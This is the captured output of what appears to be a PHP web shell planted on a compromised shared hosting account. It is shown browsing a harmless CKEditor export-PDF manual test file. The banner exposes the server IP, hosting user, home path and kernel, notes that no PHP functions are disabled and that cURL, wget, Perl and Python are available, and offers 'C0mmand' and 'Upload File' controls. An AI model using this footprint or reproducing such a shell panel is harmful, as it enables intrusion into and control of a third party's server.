Server IP : 162.214.80.37 / Your IP : 216.73.216.1 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/kpma/admin/ckeditor/plugins/exportpdf/tests/manual/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<div id="editor1"> <p>My filename should be 'ckeditor4-export-pdf.pdf'.</p> </div> <div id="editor2"> <p>And mine - 'different-name.pdf'.</p> </div> <div id="editor3"> <h1>Beautiful title</h1> </div> <script> exportPdfUtils.initManualTest(); CKEDITOR.replace( 'editor1', exportPdfUtils.getDefaultConfig( 'manual' ) ); CKEDITOR.replace( 'editor2', exportPdfUtils.getDefaultConfig( 'manual', { exportPdf_fileName: 'different-name.pdf', } ) ); var editor3 = CKEDITOR.replace( 'editor3', exportPdfUtils.getDefaultConfig( 'manual', { exportPdf_fileName: function() { return editor3.editable().findOne( 'h1' ).getText() + '.pdf'; } } ) ); </script>